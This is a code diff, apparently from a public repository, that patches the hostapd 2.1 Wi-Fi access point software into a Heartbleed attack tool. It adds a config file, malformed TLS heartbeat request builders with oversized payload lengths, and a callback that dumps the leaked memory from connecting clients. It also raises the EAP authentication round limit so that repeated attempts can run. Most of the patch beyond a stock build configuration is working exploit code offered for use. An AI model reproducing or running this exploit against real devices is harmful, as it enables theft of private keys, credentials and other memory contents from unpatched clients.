Permalink
Find file
Fetching contributors…
Cannot retrieve contributors at this time
634 lines (620 sloc) 20 KB
diff -ruNr hostapd-2.1/hostapd/.config hostapd-2.1-patch/hostapd/.config
--- hostapd-2.1/hostapd/.config 1970-01-01 01:00:00.000000000 +0100
+++ hostapd-2.1-patch/hostapd/.config 2014-05-23 23:14:48.116666004 +0100
@@ -0,0 +1,322 @@
+# Example hostapd build time configuration
+#
+# This file lists the configuration options that are used when building the
+# hostapd binary. All lines starting with # are ignored. Configuration option
+# lines must be commented out complete, if they are not to be included, i.e.,
+# just setting VARIABLE=n is not disabling that variable.
+#
+# This file is included in Makefile, so variables like CFLAGS and LIBS can also
+# be modified from here. In most cass, these lines should use += in order not
+# to override previous values of the variables.
+
+# Driver interface for Host AP driver
+CONFIG_DRIVER_HOSTAP=y
+
+# Driver interface for wired authenticator
+#CONFIG_DRIVER_WIRED=y
+
+# Driver interface for madwifi driver
+#CONFIG_DRIVER_MADWIFI=y
+#CFLAGS += -I../../madwifi # change to the madwifi source directory
+
+# Driver interface for drivers using the nl80211 kernel interface
+CONFIG_DRIVER_NL80211=y
+
+# driver_nl80211.c requires libnl. If you are compiling it yourself
+# you may need to point hostapd to your version of libnl.
+#
+#CFLAGS += -I$<path to libnl include files>
+#LIBS += -L$<path to libnl library files>
+
+# Use libnl v2.0 (or 3.0) libraries.
+#CONFIG_LIBNL20=y
+
+# Use libnl 3.2 libraries (if this is selected, CONFIG_LIBNL20 is ignored)
+#CONFIG_LIBNL32=y
+
+
+# Driver interface for FreeBSD net80211 layer (e.g., Atheros driver)
+#CONFIG_DRIVER_BSD=y
+#CFLAGS += -I/usr/local/include
+#LIBS += -L/usr/local/lib
+#LIBS_p += -L/usr/local/lib
+#LIBS_c += -L/usr/local/lib
+
+# Driver interface for no driver (e.g., RADIUS server only)
+#CONFIG_DRIVER_NONE=y
+
+# IEEE 802.11F/IAPP
+CONFIG_IAPP=y
+
+# WPA2/IEEE 802.11i RSN pre-authentication
+CONFIG_RSN_PREAUTH=y
+
+# PeerKey handshake for Station to Station Link (IEEE 802.11e DLS)
+CONFIG_PEERKEY=y
+
+# IEEE 802.11w (management frame protection)
+# This version is an experimental implementation based on IEEE 802.11w/D1.0
+# draft and is subject to change since the standard has not yet been finalized.
+# Driver support is also needed for IEEE 802.11w.
+#CONFIG_IEEE80211W=y
+
+# Integrated EAP server
+CONFIG_EAP=y
+
+# EAP-MD5 for the integrated EAP server
+CONFIG_EAP_MD5=y
+
+# EAP-TLS for the integrated EAP server
+CONFIG_EAP_TLS=y
+
+# EAP-MSCHAPv2 for the integrated EAP server
+CONFIG_EAP_MSCHAPV2=y
+
+# EAP-PEAP for the integrated EAP server
+CONFIG_EAP_PEAP=y
+
+# EAP-GTC for the integrated EAP server
+CONFIG_EAP_GTC=y
+
+# EAP-TTLS for the integrated EAP server
+CONFIG_EAP_TTLS=y
+
+# EAP-SIM for the integrated EAP server
+#CONFIG_EAP_SIM=y
+
+# EAP-AKA for the integrated EAP server
+#CONFIG_EAP_AKA=y
+
+# EAP-AKA' for the integrated EAP server
+# This requires CONFIG_EAP_AKA to be enabled, too.
+#CONFIG_EAP_AKA_PRIME=y
+
+# EAP-PAX for the integrated EAP server
+#CONFIG_EAP_PAX=y
+
+# EAP-PSK for the integrated EAP server (this is _not_ needed for WPA-PSK)
+#CONFIG_EAP_PSK=y
+
+# EAP-pwd for the integrated EAP server (secure authentication with a password)
+#CONFIG_EAP_PWD=y
+
+# EAP-SAKE for the integrated EAP server
+#CONFIG_EAP_SAKE=y
+
+# EAP-GPSK for the integrated EAP server
+#CONFIG_EAP_GPSK=y
+# Include support for optional SHA256 cipher suite in EAP-GPSK
+#CONFIG_EAP_GPSK_SHA256=y
+
+# EAP-FAST for the integrated EAP server
+# Note: If OpenSSL is used as the TLS library, OpenSSL 1.0 or newer is needed
+# for EAP-FAST support. Older OpenSSL releases would need to be patched, e.g.,
+# with openssl-0.9.8x-tls-extensions.patch, to add the needed functions.
+CONFIG_EAP_FAST=y
+
+# Wi-Fi Protected Setup (WPS)
+#CONFIG_WPS=y
+# Enable WSC 2.0 support
+#CONFIG_WPS2=y
+# Enable UPnP support for external WPS Registrars
+#CONFIG_WPS_UPNP=y
+# Enable WPS support with NFC config method
+#CONFIG_WPS_NFC=y
+
+# EAP-IKEv2
+#CONFIG_EAP_IKEV2=y
+
+# Trusted Network Connect (EAP-TNC)
+#CONFIG_EAP_TNC=y
+
+# EAP-EKE for the integrated EAP server
+#CONFIG_EAP_EKE=y
+
+# PKCS#12 (PFX) support (used to read private key and certificate file from
+# a file that usually has extension .p12 or .pfx)
+CONFIG_PKCS12=y
+
+# RADIUS authentication server. This provides access to the integrated EAP
+# server from external hosts using RADIUS.
+#CONFIG_RADIUS_SERVER=y
+
+# Build IPv6 support for RADIUS operations
+CONFIG_IPV6=y
+
+# IEEE Std 802.11r-2008 (Fast BSS Transition)
+#CONFIG_IEEE80211R=y
+
+# Use the hostapd's IEEE 802.11 authentication (ACL), but without
+# the IEEE 802.11 Management capability (e.g., madwifi or FreeBSD/net80211)
+#CONFIG_DRIVER_RADIUS_ACL=y
+
+# IEEE 802.11n (High Throughput) support
+CONFIG_IEEE80211N=y
+
+# Wireless Network Management (IEEE Std 802.11v-2011)
+# Note: This is experimental and not complete implementation.
+#CONFIG_WNM=y
+
+# IEEE 802.11ac (Very High Throughput) support
+#CONFIG_IEEE80211AC=y
+
+# Remove debugging code that is printing out debug messages to stdout.
+# This can be used to reduce the size of the hostapd considerably if debugging
+# code is not needed.
+#CONFIG_NO_STDOUT_DEBUG=y
+
+# Add support for writing debug log to a file: -f /tmp/hostapd.log
+# Disabled by default.
+#CONFIG_DEBUG_FILE=y
+
+# Add support for sending all debug messages (regardless of debug verbosity)
+# to the Linux kernel tracing facility. This helps debug the entire stack by
+# making it easy to record everything happening from the driver up into the
+# same file, e.g., using trace-cmd.
+#CONFIG_DEBUG_LINUX_TRACING=y
+
+# Remove support for RADIUS accounting
+#CONFIG_NO_ACCOUNTING=y
+
+# Remove support for RADIUS
+#CONFIG_NO_RADIUS=y
+
+# Remove support for VLANs
+#CONFIG_NO_VLAN=y
+
+# Enable support for fully dynamic VLANs. This enables hostapd to
+# automatically create bridge and VLAN interfaces if necessary.
+#CONFIG_FULL_DYNAMIC_VLAN=y
+
+# Use netlink-based kernel API for VLAN operations instead of ioctl()
+# Note: This requires libnl 3.1 or newer.
+#CONFIG_VLAN_NETLINK=y
+
+# Remove support for dumping internal state through control interface commands
+# This can be used to reduce binary size at the cost of disabling a debugging
+# option.
+#CONFIG_NO_DUMP_STATE=y
+
+# Enable tracing code for developer debugging
+# This tracks use of memory allocations and other registrations and reports
+# incorrect use with a backtrace of call (or allocation) location.
+#CONFIG_WPA_TRACE=y
+# For BSD, comment out these.
+#LIBS += -lexecinfo
+#LIBS_p += -lexecinfo
+#LIBS_c += -lexecinfo
+
+# Use libbfd to get more details for developer debugging
+# This enables use of libbfd to get more detailed symbols for the backtraces
+# generated by CONFIG_WPA_TRACE=y.
+#CONFIG_WPA_TRACE_BFD=y
+# For BSD, comment out these.
+#LIBS += -lbfd -liberty -lz
+#LIBS_p += -lbfd -liberty -lz
+#LIBS_c += -lbfd -liberty -lz
+
+# hostapd depends on strong random number generation being available from the
+# operating system. os_get_random() function is used to fetch random data when
+# needed, e.g., for key generation. On Linux and BSD systems, this works by
+# reading /dev/urandom. It should be noted that the OS entropy pool needs to be
+# properly initialized before hostapd is started. This is important especially
+# on embedded devices that do not have a hardware random number generator and
+# may by default start up with minimal entropy available for random number
+# generation.
+#
+# As a safety net, hostapd is by default trying to internally collect
+# additional entropy for generating random data to mix in with the data
+# fetched from the OS. This by itself is not considered to be very strong, but
+# it may help in cases where the system pool is not initialized properly.
+# However, it is very strongly recommended that the system pool is initialized
+# with enough entropy either by using hardware assisted random number
+# generator or by storing state over device reboots.
+#
+# hostapd can be configured to maintain its own entropy store over restarts to
+# enhance random number generation. This is not perfect, but it is much more
+# secure than using the same sequence of random numbers after every reboot.
+# This can be enabled with -e<entropy file> command line option. The specified
+# file needs to be readable and writable by hostapd.
+#
+# If the os_get_random() is known to provide strong random data (e.g., on
+# Linux/BSD, the board in question is known to have reliable source of random
+# data from /dev/urandom), the internal hostapd random pool can be disabled.
+# This will save some in binary size and CPU use. However, this should only be
+# considered for builds that are known to be used on devices that meet the
+# requirements described above.
+#CONFIG_NO_RANDOM_POOL=y
+
+# Select TLS implementation
+# openssl = OpenSSL (default)
+# gnutls = GnuTLS
+# internal = Internal TLSv1 implementation (experimental)
+# none = Empty template
+#CONFIG_TLS=openssl
+
+# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.1)
+# can be enabled to get a stronger construction of messages when block ciphers
+# are used.
+#CONFIG_TLSV11=y
+
+# TLS-based EAP methods require at least TLS v1.0. Newer version of TLS (v1.2)
+# can be enabled to enable use of stronger crypto algorithms.
+#CONFIG_TLSV12=y
+
+# If CONFIG_TLS=internal is used, additional library and include paths are
+# needed for LibTomMath. Alternatively, an integrated, minimal version of
+# LibTomMath can be used. See beginning of libtommath.c for details on benefits
+# and drawbacks of this option.
+#CONFIG_INTERNAL_LIBTOMMATH=y
+#ifndef CONFIG_INTERNAL_LIBTOMMATH
+#LTM_PATH=/usr/src/libtommath-0.39
+#CFLAGS += -I$(LTM_PATH)
+#LIBS += -L$(LTM_PATH)
+#LIBS_p += -L$(LTM_PATH)
+#endif
+# At the cost of about 4 kB of additional binary size, the internal LibTomMath
+# can be configured to include faster routines for exptmod, sqr, and div to
+# speed up DH and RSA calculation considerably
+#CONFIG_INTERNAL_LIBTOMMATH_FAST=y
+
+# Interworking (IEEE 802.11u)
+# This can be used to enable functionality to improve interworking with
+# external networks.
+#CONFIG_INTERWORKING=y
+
+# Hotspot 2.0
+#CONFIG_HS20=y
+
+# Enable SQLite database support in hlr_auc_gw, EAP-SIM DB, and eap_user_file
+#CONFIG_SQLITE=y
+
+# Testing options
+# This can be used to enable some testing options (see also the example
+# configuration file) that are really useful only for testing clients that
+# connect to this hostapd. These options allow, for example, to drop a
+# certain percentage of probe requests or auth/(re)assoc frames.
+#
+#CONFIG_TESTING_OPTIONS=y
+
+# Automatic Channel Selection
+# This will allow hostapd to pick the channel automatically when channel is set
+# to "acs_survey" or "0". Eventually, other ACS algorithms can be added in
+# similar way.
+#
+# Automatic selection is currently only done through initialization, later on
+# we hope to do background checks to keep us moving to more ideal channels as
+# time goes by. ACS is currently only supported through the nl80211 driver and
+# your driver must have survey dump capability that is filled by the driver
+# during scanning.
+#
+# You can customize the ACS survey algorithm with the hostapd.conf variable
+# acs_num_scans.
+#
+# Supported ACS drivers:
+# * ath9k
+# * ath5k
+# * ath10k
+#
+# For more details refer to:
+# http://wireless.kernel.org/en/users/Documentation/acs
+#
+#CONFIG_ACS=y
diff -ruNr hostapd-2.1/hostapd/heartbleed.conf hostapd-2.1-patch/hostapd/heartbleed.conf
--- hostapd-2.1/hostapd/heartbleed.conf 1970-01-01 01:00:00.000000000 +0100
+++ hostapd-2.1-patch/hostapd/heartbleed.conf 2014-05-28 17:07:29.162311587 +0100
@@ -0,0 +1,12 @@
+# Config file for modded wpa_supplicant / hostapd to exploit heartbleed:
+
+send_before_handshake=1
+send_before_appdata=0
+send_after_appdata=0
+
+# 65535 is max
+payload_size=50000
+
+num_repeats=1
+num_tries=10
+
diff -ruNr hostapd-2.1/src/crypto/tls_openssl.c hostapd-2.1-patch/src/crypto/tls_openssl.c
--- hostapd-2.1/src/crypto/tls_openssl.c 2014-02-04 11:23:35.000000000 +0000
+++ hostapd-2.1-patch/src/crypto/tls_openssl.c 2014-05-24 00:09:51.588579410 +0100
@@ -130,6 +130,196 @@
return context;
}
+/** BEGIN HEARTBLEED PATCH SPECIFICS **/
+
+#define n2s(c,s)((s=(((unsigned int)(c[0]))<< 8)| \
+ (((unsigned int)(c[1])) )),c+=2)
+#define s2n(s,c) ((c[0]=(unsigned char)(((s)>> 8)&0xff), \
+ c[1]=(unsigned char)(((s) )&0xff)),c+=2)
+
+struct s_hb_config {
+ unsigned int config_file_read:1;
+ unsigned int send_before_handshake:1;
+ unsigned int send_before_appdata:1;
+ unsigned int send_after_appdata:1;
+ unsigned int payload_size;
+ unsigned int num_tries;
+ unsigned int num_repeats;
+};
+
+static struct s_hb_config hb_config = {
+ .config_file_read = 0,
+ .send_before_handshake = 0,
+ .send_before_appdata = 0,
+ .send_after_appdata = 0,
+ .payload_size = 1000,
+ .num_tries = 1,
+ .num_repeats = 1
+};
+
+// message for pre handshake heartbeat:
+char heartbeat_message[] =
+ "\x18" // heartbeat
+ "\x03\x01"
+ "\x00\x03"
+ "\x01" // heartbeat_request
+ "\xff\xff"; // request payload (max)
+
+
+#define MAXLINE 255
+
+void do_heartbleed_init() {
+ if (!hb_config.config_file_read) {
+ hb_read_config("./heartbleed.conf");
+ }
+}
+
+// heartbeat callback (heartbleed):
+static void heartbeat_cb(
+ int v_write_p,
+ int v_version,
+ int v_content_type,
+ const void* v_buf,
+ size_t v_len,
+ SSL* v_ssl,
+ void* v_arg
+)
+{
+ printf("----> heartbeat callback.\n");
+ if (v_content_type == TLS1_RT_HEARTBEAT) {
+ printf("----> heartbeat received!\n");
+ v_ssl->tlsext_hb_pending = 1;
+ wpa_hexdump(MSG_DEBUG, "----> heartbeat data: ", v_buf, v_len);
+ } else {
+ printf("----> no heartbeat data, exiting callback.\n");
+ }
+}
+
+void hb_read_config(char *filename) {
+ FILE * fp;
+ char bufr[MAXLINE];
+
+ fp = fopen(filename, "r");
+ if (fp != NULL) {
+ while(!feof(fp)){
+ if(fgets(bufr, MAXLINE, fp)) {
+ // printf("----> config line: %s\n", bufr);
+ // ignore commented lines
+ if (!strchr(bufr, '#')) {
+ if (strstr(bufr, "send_before_handshake=1"))
+ hb_config.send_before_handshake=1;
+ if (strstr(bufr, "send_before_appdata=1"))
+ hb_config.send_before_appdata=1;
+ if (strstr(bufr, "send_before_handshake=1"))
+ hb_config.send_before_handshake=1;
+ if (strstr(bufr, "send_after_appdata=1"))
+ hb_config.send_after_appdata=1;
+
+ if (strstr(bufr, "payload_size="))
+ sscanf(bufr, "payload_size=%u", &hb_config.payload_size);
+ if (strstr(bufr, "num_tries="))
+ sscanf(bufr, "num_tries=%u", &hb_config.num_tries);
+ if (strstr(bufr, "num_repeats="))
+ sscanf(bufr, "num_repeats=%u", &hb_config.num_repeats);
+ }
+ }
+ }
+ fclose(fp);
+ printf("----> Config file read:\n"
+ " ----> send_before_handshake=%i\n"
+ " ----> send_before_appdata=%i\n"
+ " ----> send_after_appdata=%i\n"
+ " ----> payload_size=%u\n"
+ " ----> num_tries=%u"
+ " ----> num_repeats=%u\n",
+ hb_config.send_before_handshake,
+ hb_config.send_before_appdata,
+ hb_config.send_after_appdata,
+ hb_config.payload_size,
+ hb_config.num_tries,
+ hb_config.num_repeats);
+
+ hb_config.config_file_read = 1;
+ } else {
+ printf("----> Could not open configuration file!\n");
+ }
+}
+
+/** Heartbleed function before handshake. returns a pointer to a TLS record with an UNENCRYPTED heartbeat request **/
+char *clear_heartbeat() {
+ char *p;
+ // set payload size
+ p = &heartbeat_message[sizeof(heartbeat_message) - 3];
+ s2n(hb_config.payload_size, p);
+
+ return heartbeat_message;
+}
+
+
+/** Heartbleed function after handshake **/
+int encrypted_heartbeat(struct tls_connection *conn)
+{
+ unsigned char *cbuf, *p;
+
+ unsigned int real_payload = 18; //default: 18 /* Sequence number + random bytes */
+ unsigned int padding = 16; //default: 16 /* Use minimum padding */
+
+ printf("----> entering encrypted_heartbeat()\n");
+
+ if (!SSL_is_init_finished(conn->ssl)) {
+ printf("----> [encrypted_heartbeat] SSL handshake not complete,returning...\n");
+ return -1;
+ }
+
+ if(!conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_ENABLED ||
+ conn->ssl->tlsext_heartbeat & SSL_TLSEXT_HB_DONT_SEND_REQUESTS) {
+ printf("----> [encrypted_heartbeat] warning: heartbeat extension is unsupported (try anyway)\n");
+ } else {
+ printf("----> [encrypted_heartbeat] good: heartbeat extention IS SUPPORTED!\n");
+ }
+
+ /* Check if padding is too long, payload and padding
+ * must not exceed 2^14 - 3 = 16381 bytes in total.
+ */
+ OPENSSL_assert(real_payload + padding <= 16381);
+
+ cbuf = OPENSSL_malloc(1 + 2 + real_payload + padding);
+
+ if(cbuf==NULL){
+ printf("----> [encrypted_heartbeat] error in malloc()\n");
+ return -1;
+ }
+ p = cbuf;
+
+ *p++ = TLS1_HB_REQUEST;
+
+
+ /* Payload length (18 bytes here) */
+ //s2n(payload, p); /* standards compliant payload */
+ //s2n(payload +10, p); /* >payload to exploit heartbleed!!! */
+ s2n(hb_config.payload_size, p); /* configured payload */
+
+ /* Sequence number */
+ s2n(conn->ssl->tlsext_hb_seq, p);
+ /* 16 random bytes */
+ RAND_pseudo_bytes(p, 16);
+ p += 16;
+ /* Random padding */
+ RAND_pseudo_bytes(p, padding);
+
+ printf("----> [encrypted_heartbeat] Sending heartbeat reaquesting payload size %u...\n", hb_config.payload_size);
+ wpa_hexdump(MSG_DEBUG, "----> heartbeat packet to send:", cbuf, 1 + 2 + real_payload + padding);
+
+ /* Send heartbeat request */
+ if (SSL_get_ssl_method(conn->ssl)->ssl_write_bytes(conn->ssl, TLS1_RT_HEARTBEAT,
+ cbuf, 3 + real_payload + padding) >= 0)
+ conn->ssl->tlsext_hb_pending = 1;
+ OPENSSL_free(cbuf);
+
+ return 0;
+}
+
+/** END HEARTBLEED PATCH SPECIFICS **/
#ifdef CONFIG_NO_STDOUT_DEBUG
@@ -832,6 +1022,14 @@
}
#endif /* OPENSSL_NO_ENGINE */
+ /** BEGIN HEARTBLEED PATCH SPECIFICS **/
+ // Init heartbleed specific code:
+ do_heartbleed_init();
+ // Set callback for heartbleed here.
+ printf("----> Setting callback handler for heartbeat responses...\n");
+ SSL_CTX_set_msg_callback(ssl, heartbeat_cb);
+ /** END HEARTBLEED PATCH SPECIFICS **/
+
return ssl;
}
@@ -2538,6 +2736,10 @@
int res;
struct wpabuf *out_data;
+ /* for heartbleed */
+ struct wpabuf *ptr1, *ptr2;
+ int i;
+
conn->server = !!server;
/*
@@ -2598,6 +2800,26 @@
}
wpabuf_put(out_data, res);
+ if (hb_config.send_before_handshake && hb_config.num_tries) {
+
+ printf ("----> Sending heartbeat request _replacing_ handshake...\n");
+ //ptr1 = out_data;
+ ptr1 = NULL;
+ for (i=0; i < hb_config.num_repeats; i++) {
+ ptr2 = wpabuf_alloc(sizeof(heartbeat_message)-1);
+ memcpy(wpabuf_mhead(ptr2), (u8 *)clear_heartbeat(), sizeof(heartbeat_message)-1);
+ wpabuf_put(ptr2, sizeof(heartbeat_message)-1);
+ if (ptr1) {
+ ptr1 = wpabuf_concat(ptr1,ptr2);
+ } else {
+ ptr1 = ptr2;
+ }
+ }
+ conn->ssl->tlsext_hb_pending = 1;
+ hb_config.num_tries--;
+ return ptr1;
+ }
+
return out_data;
}
@@ -2692,6 +2914,12 @@
tls_show_errors(MSG_INFO, __func__, "BIO_reset failed");
return NULL;
}
+
+ /** HEARTBLEED: send encrypted heartbeat before application data record **/
+ if (hb_config.send_before_appdata) {
+ encrypted_heartbeat(conn);
+ }
+
res = SSL_write(conn->ssl, wpabuf_head(in_data), wpabuf_len(in_data));
if (res < 0) {
tls_show_errors(MSG_INFO, __func__,
@@ -2699,6 +2927,11 @@
return NULL;
}
+ /** HEARTBLEED: send encrypted heartbeat following application data record **/
+ if (hb_config.send_after_appdata) {
+ encrypted_heartbeat(conn);
+ }
+
/* Read encrypted data to be sent to the server */
buf = wpabuf_alloc(wpabuf_len(in_data) + 300);
if (buf == NULL)
diff -ruNr hostapd-2.1/src/eap_server/eap_server.c hostapd-2.1-patch/src/eap_server/eap_server.c
--- hostapd-2.1/src/eap_server/eap_server.c 2014-02-04 11:23:35.000000000 +0000
+++ hostapd-2.1-patch/src/eap_server/eap_server.c 2014-05-23 23:11:29.640671206 +0100
@@ -22,7 +22,8 @@
#define STATE_MACHINE_DATA struct eap_sm
#define STATE_MACHINE_DEBUG_PREFIX "EAP"
-#define EAP_MAX_AUTH_ROUNDS 50
+/* for heartbleed */
+#define EAP_MAX_AUTH_ROUNDS 50000
static void eap_user_free(struct eap_user *user);